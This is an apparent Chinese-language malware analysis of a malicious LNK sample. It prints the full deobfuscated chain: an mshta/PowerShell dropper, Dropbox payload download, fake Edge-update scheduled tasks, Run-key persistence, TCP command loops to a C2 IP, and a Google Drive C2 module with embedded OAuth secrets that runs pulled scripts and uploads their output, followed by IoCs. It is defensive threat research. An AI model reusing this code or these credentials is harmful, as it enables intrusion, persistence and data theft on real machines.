流程

初探 Lnk

样本为一个 LNK 文件,用 LnkParse3 (https://pypi.org/project/LnkParse3/) 提取 LNK 文件信息

LNK 目标中包含 PowerShell 命令

..\..\..\Windows\System32\mshta.exe javascript:a="pow"+"ershell -ep bypa"+"ss ";g="c:\\pro"+"gramdata\\";m=" -Encoding Byte;sc ";p="$w ([byte[]]($f "+"| select -Skip 0x08e6)) -Force";s="a=new Ac"+"tiveXObject('WSc"+"ript.Shell');a.Run(c,0,true);close();";c=a+"-c $t=0x19cf;$k = Get-ChildItem *.lnk | where-object {$_.length -eq $t} | Select-Object -ExpandProperty Name;if($k.co"+"unt -eq 0){$k=G"+"et-ChildItem $env:TEMP\\*\\*.l"+"nk | where-object{$_.length -eq $t};};$w='"+g+"e.ps1';$f=gc $k"+m+p+m+g+"419 0;"+a+"-f $w;";eval(s);

将以上代码格式化处理后

c = "powershell -ep bypass -c " +
    "$t=0x19cf; " +
    "$k = Get-ChildItem *.lnk | Where-Object { $_.length -eq $t } | " +
    "Select-Object -ExpandProperty Name; " +
    "if($k.count -eq 0) { " +
    "  $k = Get-ChildItem $env:TEMP\\*\\*.lnk | " +
    "  Where-Object { $_.length -eq $t }; " +
    "}; " +
    "$w = 'c:\\programdata\\e.ps1'; " +
    "$f = Get-Content $k -Encoding Byte; " +
    "sc $w ([byte[]]($f | select -Skip 0x08e6)) -Force -Encoding Byte; " +
    "sc c:\\programdata\\419 0; " +
    "powershell -ep bypass -f $w;";

new ActiveXObject('WScript.Shell').Run(c, 0, true);

此段代码会去获取当下的所有 lnk 文件,并判断其大小是否为 0x19cf,如果是则跳过当前 lnk 文件前 0x08e6 个字节,将剩余字节保存在 C:\ProgramData\e.ps1,最后执行 e.ps1;如果不是则去用户的 Temp 目录下获取;

e.ps1

在 e.ps1 中,会依次进行三次 base64 解密后执行

第一次

第一次执行后会删除 e.ps1 脚本

$sn="Env S930";
Remove-Item 'c:\\programdata\\e.ps1';

第二次

代码已格式化处理

$e1 = {
    $downloadUrl = "https://www.dropbox.com/scl/fi/7i9i2zkin97yg35thso17/Sm.dat?rlkey=qcktrfjnh301pxogya88prrsg&st=7h79kt6x&dl=1"
    try {
        $zipPath = "c:\\programdata\\gs.zip"
        Invoke-WebRequest -Uri $downloadUrl -OutFile $zipPath
        $extractPath = "C:\\Programdata"
        Expand-Archive -Path $zipPath -DestinationPath $extractPath
        $taskCommand = 'schtasks /create /sc minute /mo 2 /tn AGMicrosoftEdgeUpdateExpanding[7923498737] /tr "wscript //e:javascript //b C:\\ProgramData\\26545.tmp" /f'
        cmd /c $taskCommand
        $regCommand = 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v GUpdate2 /t REG_SZ /d "c:\\windows\\system32\\wscript.exe //b //e:javascript C:\\ProgramData\\26545.tmp" /f'
        cmd /c $regCommand
        del $zipPath
    } catch {}
    while ($true) {
        $execCommand = "Invoke-Expression (Get-Content C:\\ProgramData\\AN9385.tmp)"
        powershell -ep bypass -c $execCommand
        Sleep(120)
    }
}

将执行脚本赋给了 $e1 变量,这将移到第三次中异步执行

第三次

代码已格式化处理

$rp = [runspacefactory]::CreateRunspacePool(1, 5)
$rp.Open()
$p1 = [powershell]::Create()
$p1.RunspacePool = $rp
$p1.AddScript($e1)
$JobObj = New-Object -TypeName PSObject -Property @{
    Runspace = $p1.BeginInvoke()
    PowerShell = $p1
}
$Usbbc = @('64.20.59.148', '8855', '6699')
try {
    $r = $Usbbc[0]
    $p = $Usbbc[1]
    $tc = New-Object System.Net.Sockets.TcpClient($r, $p)
    $strm = $tc.GetStream()
    $q = New-Object System.IO.StreamReader($strm)
    $z = ''
    while ($strm.DataAvailable -or $q.Peek() -ne -1) {
        $t1 = $q.ReadLine()
        $z += $t1
    }
    if ($z.Length -ne 0) {
        $b = [Convert]::FromBase64String($z)
        $t = 'c:\programdata\k.zip'
        Set-Content -Path $t -Value $b -Encoding Byte
        Expand-Archive -Path $t -DestinationPath 'C:\Programdata'
        del $t
        $regCommand = 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SUpdate /t REG_SZ /d "c:\windows\system32\wscript.exe //b //e:javascript C:\ProgramData\N9371.js" /f'
        cmd /c $regCommand
        $taskCommand = 'schtasks /create /sc minute /mo 2 /tn AMicrosoftEdgeUpdateExpanding[3829710973] /tr "wscript //e:javascript //b C:\ProgramData\38243.tmp" /f'
        cmd /c $taskCommand
        $strm.Close()
    }
} catch {}
while ($true) {
    $r = $Usbbc[0]
    $p2 = $Usbbc[2]
    $tc2 = New-Object System.Net.Sockets.TcpClient($r, $p2)
    $st2 = $tc2.GetStream()
    $r2 = New-Object System.IO.StreamReader($st2)
    $c = ''
    while ($st2.DataAvailable -or $r2.Peek() -ne -1) {
        $t2 = $r2.ReadLine()
        $c += $t2
    }
    if ($c.Length -ne 0) {
        $TSbbcnv1 = "c:\programdata\tmps2.ps1"
        $c | Out-File $TSbbcnv1
        powershell -ep bypass -f $TSbbcnv1
        del $TSbbcnv1
    }
    Sleep(20)
}

开始处异步执行第二次解密出的脚本,从第二次解密出的脚本中可看出,会去远程下载一个 Sm.dat 文件,远程地址 https[:]//www.dropbox[.]com/scl/fi/7i9i2zkin97yg35thso17/Sm.dat?rlkey=qcktrfjnh301pxogya88prrsg&st=7h79kt6x&dl=1,下载到本地 ProgramData 目录下并重命名为 gs.zip,再进行解压 (26545.tmp 和 AN9385.tmp)。

随后创建计划任务

cmd /c schtasks /create /sc minute /mo 2 /tn AGMicrosoftEdgeUpdateExpanding[7923498737] /tr "wscript //e:javascript //b C:\\ProgramData\\26545.tmp" /f

伪装成 Microsoft Edge 更新的任务名 (AGMicrosoftEdgeUpdateExpanding[7923498737]) 试图绕过检测,每 2 分钟静默强制执行一次 26545.tmp (一个混淆过的 JS 文件),随后添加注册表启动项

cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v GUpdate2 /t REG_SZ /d "c:\\windows\\system32\\wscript.exe //b //e:javascript C:\\ProgramData\\26545.tmp" /f

两项操作均是为了实现持久化。最后在一个循环体不断执行 AN9385.tmp。

第二次的脚本执行完后,尝试去连接  64.20.59.148:8855,读取返回的流数据并将其 base64 解码后保存到本地 ProgramData 目录下并重命名为 k.zip (N9371.js 和 38243.tmp,目前已无法获取) 并解压后再删除原压缩文档,完成后再创建注册表启动项

cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SUpdate /t REG_SZ /d "c:\windows\system32\wscript.exe //b //e:javascript C:\ProgramData\N9371.js" /f

和计划任务

cmd /c schtasks /create /sc minute /mo 2 /tn AMicrosoftEdgeUpdateExpanding[3829710973] /tr "wscript //e:javascript //b C:\ProgramData\38243.tmp" /f

以上两个操作也均是为了实现持久化。

最后创建一个循环持续与 64.20.59.148:6699 进行通信,读取流数据并将返回的数据保存到 ProgramData 目录下并将其命令为 tmps2.ps1,随即执行,执行完后删除。

gs.zip

gs.zip 包含 2 个文件,26545.tmp 和 AN9385.tmp。

26545.tmp

一个混淆过的 JS 文件

(function (dsges, fjykjts) {
	var se3gdrhd = fhfjtfj;
	var agent = dsges();
	var n = agent.length;
	while (!![]) {
		try {
			k = parseInt(se3gdrhd(474)) * parseInt(se3gdrhd(479)) / 5;
			if (k === fjykjts) {
				break;
			} else {
				for (i = 0; i < n; i++) {
					str = agent[i];
					var match = str.match(/\d+/g);
					var m = match[0].length + 1;
					var tmp = str.substring(m);
					var len = tmp.length;
					if (len <= 2)
						return;
					var k = tmp.substring(2) + tmp.substring(0, 2);
					t = k.charAt(0);
					tt = k.charAt(len - 1);
					tmp = tt + k.substring(1, len - 1) + t;
					var res = match[0] + 'X' + tmp;
					agent[i] = res;
				}
				agent['unshift'](agent['pop']());
			}
		} catch (_0x49299e) {
		}
	}
}(jnfeg, 2332340));
function fhfjtfj(_Index, _DummyVar2) {
	var sf4 = jnfeg();
	return fhfjtfj = function (tm, _0x85aeda) {
		n = sf4.length;
		indx = tm - 262;
		indx %= n;
		var _0x679cae = sf4[indx];
		return _0x679cae;
	}, fhfjtfj(_Index, _DummyVar2);
}
(function (_Used2Func) {
	var str2Array = _Used2Func();
	var p = str2Array.length;
	res = '';
	for (h = 0; h < n; h++) {
		s = str2Array[h];
		var mt = s.match(/\d+/g);
		res += s.substring(mt[0].length + 1);
	}
	eval(res);
}(jnfeg));
function jnfeg() {
	var d4gergrd = [
		'6011X"irtpS.ehllc""+',
		'9382XvraS mLivsi)v;\t',
		'0104X""+worehs+"e"= "p',
		'4654X-peb py+"a"esll ',
		'8496Xm+"m"na df$sn -co',
		'8264X\\rPgoar+"m"=D\'C:\\',
		'1385XA+"N"3958t.amta\\\\',
		'1164X$ d =eG-t"Cp+\';',
		'1162Xtne tf$;nI "non',
		'9988X"ko-exE"p"+vr"+',
		'7130X+i"no$ ;d;"e\tss"',
		'8420Xb2b3w.ruR(nYSefb',
		'9909Xivs,e0 ;)c}Lamvi',
		'3297X)}thce(rr{',
		'8258X esmf"=su nv3ar',
		'3881X su e38 ffn9uri',
		'9018X 8g 2 gg9own  fhe',
		'8665Xtyr\t{av reYjfw4";',
		'1727X23w=rn weA bcbb',
		'5446XeOXjbce(tW"tSiv'
	];
	jnfeg = function () {
		return d4gergrd;
	};
	return jnfeg();
}

将 eval(res) 替换成 console.log(res) 后输出去混淆后的内容,优化后如下

var sefm = 'usn 39ri use 83f nfun fhe g82 g 9gwo jw4';
try {
    var Yefbbb2w3r = new ActiveXObject('WScript.Shell');
    var SLmviisve = 'powershell -ep bypass -command $fn=\'C:\\ProgramData\\AN9385.tmp\';$d = Get-Content $fn; Invoke-Expression $d;';
    Yefbbb2w3r.Run(SLmviisve, 0);
} catch (err) {
}

26545.tmp 的作用是去执行 AN9385.tmp。

AN9385.tmp

AN9385.tmp 的大体内容格式与 e.ps1 相同

一共有 6 段待解密的字串,每解密一段执行一段

第 1 段,定义了一些变量

$objName = "eee"
$folderId = "1tS7GiwJ2b1yAQWAOCl60yWaeCBfsl0B0";
$clientId = "65054017293-b7gcmfo6tdon0fim2flf3he6gufftioo.apps.googleusercontent.com";
$secret = "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";
$redirectURI = "urn:ietf:wg:oauth:2.0:oob";
$refreshToken = "1//0498NBJfxa-YgCgYIARAAGAQSNwF-L9IrsNiWDmwbh1BSAG1JUy8uJXEXzukc0micoDRLwYOmnDf76TTnxiHd2_QkdCIXTcARLXs";

第 2 段,以 POST 方式向 https[:]//www.googleapis[.]com/oauth2/v4/token 发出请求获取 accesstoken

$refreshTokenParams = @{
      client_id=$clientId;
      client_secret=$secret;
      refresh_token=$refreshToken;
      grant_type='refresh_token';    
}
$refreshedToken = Invoke-WebRequest -Uri "https://www.googleapis.com/oauth2/v4/token" -Method POST -Body $refreshTokenParams  | ConvertFrom-Json
$accesstoken = $refreshedToken.access_token
$dnHeader = @{
    "Authorization" = "Bearer $accessToken"
}

第 3 段,定义一个上传文件函数,上传文件名 eee__yyyy_MM_dd__HH:mm:ss_result.txt,txt 文件内容经过了 base64 加密,文件内容来源于 $path,最后以 POST 方式向 https[:]//www.googleapis[.]com/upload/drive/v3/files?uploadType=multipart&supportsTeamDrives=false 进行上传

Function UploadFile($path, $accesstoken)
{
    $SourceFile = $path 
    $sourceItem = Get-Item $sourceFile
    $sourceBase64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes($sourceItem.FullName))
    $sourceMime = [System.Web.MimeMapping]::GetMimeMapping($sourceItem.FullName)
    $supportsTeamDrives = 'false'
    $tm = [System.DateTime]::Now;
    $curTime = $tm.ToString("yyyy_MM_dd__HH:mm:ss");
    $uploadMetadata = @{
        originalFilename = $sourceItem.Name
        name = $objName+ "__"+$curTime + "_result.txt"
        description = $sourceItem.VersionInfo.FileDescription
        parents = @($folderId)
    }
$uploadBody = @"
--boundary
Content-Type: application/json; charset=UTF-8

$($uploadMetadata | ConvertTo-Json)

--boundary
Content-Transfer-Encoding: base64
Content-Type: $sourceMime

$sourceBase64
--boundary--
"@

    $uploadHeaders = @{
        "Authorization" = "Bearer $accesstoken"
        "Content-Type" = 'multipart/related; boundary=boundary'
        "Content-Length" = $uploadBody.Length
    }
    $response = Invoke-RestMethod -Uri "https://www.googleapis.com/upload/drive/v3/files?uploadType=multipart&supportsTeamDrives=$supportsTeamDrives" -Method Post -Headers $uploadHeaders -Body $uploadBody        
}

第 4 段,定义一个上传日志函数,上传文件名 eee__xxxxxxxxxxxx_Result_log.txt,文件内容为当前时间的 base64 加密内容,以 POST 方式向 https[:]//www.googleapis[.]com/upload/drive/v3/files?uploadType=multipart&supportsTeamDrives=false 提交上传文件

Function UploadLog($accesstoken)
{
    $tm = [System.DateTime]::Now;
    $curTime = $tm.ToString("yyyy_MM_dd__HH:mm:ss");
    $BytesToConvert = [Text.Encoding]::Unicode.GetBytes($curTime);
    $EncodedText = [Convert]::ToBase64String($BytesToConvert);
    $sourceBase64 = $EncodedText    
    $supportsTeamDrives = 'false'
    $uploadMetadata = @{
        name = $objName+ "__"+$curTime + "_Result_log.txt"      
        parents = @($folderId) 
    }

$uploadBody = @"
--boundary
Content-Type: application/json; charset=UTF-8

$($uploadMetadata | ConvertTo-Json)

--boundary
Content-Transfer-Encoding: base64

$sourceBase64
--boundary--
"@
    $uploadHeaders = @{
        "Authorization" = "Bearer $accesstoken"
        "Content-Type" = 'multipart/related; boundary=boundary'
        "Content-Length" = $uploadBody.Length
    }

    $response = Invoke-RestMethod -Uri "https://www.googleapis.com/upload/drive/v3/files?uploadType=multipart&supportsTeamDrives=$supportsTeamDrives" -Method Post -Headers $uploadHeaders -Body $uploadBody   
    return ;  
}

第 5 段,调用 UploadLog 函数将获取到的 accesstoken 作为参数进行上传

UploadLog($accesstoken)
$q = "q=name+contains+'$objName'+and+not+fullText+contains+'result'+and+mimeType+!=+'application/vnd.google-apps.folder'"
$ur = "https://www.googleapis.com/drive/v3/files" + "?" + $q 
$response = Invoke-RestMethod -Uri $ur -Headers $dnHeader 
$files = $response.files
$cout = $files.Count

随后向 https[:]//www.googleapis[.]com/drive/v3/files?q=name+contains+''+and+not+fullText+contains+'result'+and+mimeType+!=+'application/vnd.google-apps.folder' 发出请求,响应内容存储在 $response 变量中

第 6 段

for($i=0; $i -lt $cout;$i++){
    $n = $files[$i].name;
    $id = $files[$i].id;
    $mimeType = $files[$i].mimeType;
    if($mimeType -eq "text/plain")
    {
        $downloadUrl = "https://drive.google.com/uc?export=download&id="+$id;
        $localFilePath = "c:\\programdata\\"+$n; 
        try{         
        $c = new-object System.Net.WebClient; 
        $res=$c.DownloadString($downloadUrl);
        $delUrl = "https://www.googleapis.com/drive/v3/files/" + $id
        Invoke-RestMethod -Uri $delUrl -Method DELETE -Headers $dnHeader		
		$tmpz = "c:\\programdata\\tmps4.ps1";
		$res | Out-File $tmpz;		
		$Output = try {
                    powershell -ep bypass -f $tmpz 2>&1 | Out-String;
                } catch {
                    $_ | Out-String;
                }          
        $tm = [System.DateTime]::Now;
        $s = $tm.ToFileTimeUtc().ToString()
        $imgName= $s;
        $outfile = "c:\programdata\" + $imgName
        $Output | Out-File -FilePath $outfile
        UploadFile -Path $outfile  -accesstoken $accesstoken;
        remove-item $outfile
				remove-item $tmpz
        }
        catch{
            remove-item $outfile
	    remove-item $tmpz
        }
    }
}

依次远程访问以下链接,将文件下载到本地 ProgramData 文件夹中并重命名为 tmps4.ps1

  • https[:]//drive.google.com/uc?export=download&id=1E3Bk8mv0JT3wJH6RReq1zGZeeD6goDMr
  • https[:]//drive.google.com/uc?export=download&id=17znAFvAjRtB9c9-zzQkpcKh0VAOH7Aeb
  • https[:]//drive.google.com/uc?export=download&id=18UM8MLzVsUuno7wZkq5uVqTvLKx5_bVR
  • https[:]//drive.google.com/uc?export=download&id=10n7VSqFiuKGZBThE7Y1uvK-Qhc9K4c3b 

将执行 tmps4.ps1 脚本后的结果存在以当前时间命令的文件中,最后调用 UploadFile 函数将此文件以 POST 方式向 https[:]//www.googleapis[.]com/upload/drive/v3/files?uploadType=multipart&supportsTeamDrives=false 进行上传。由于无法获取 tmps4.ps1 内容,所以无法得知此 ps1 做了什么,我猜估计是在窃取本地一些信息进行回传。

IoCs

URL

  • https[:]//www.dropbox[.]com/scl/fi/7i9i2zkin97yg35thso17/Sm.dat?rlkey=qcktrfjnh301pxogya88prrsg&st=7h79kt6x&dl=1
  • 65054017293-b7gcmfo6tdon0fim2flf3he6gufftioo.apps.googleusercontent.com

C2

  • 64[.]20[.]59[.]148:8855
  • 64[.]20[.]59[.]148:6699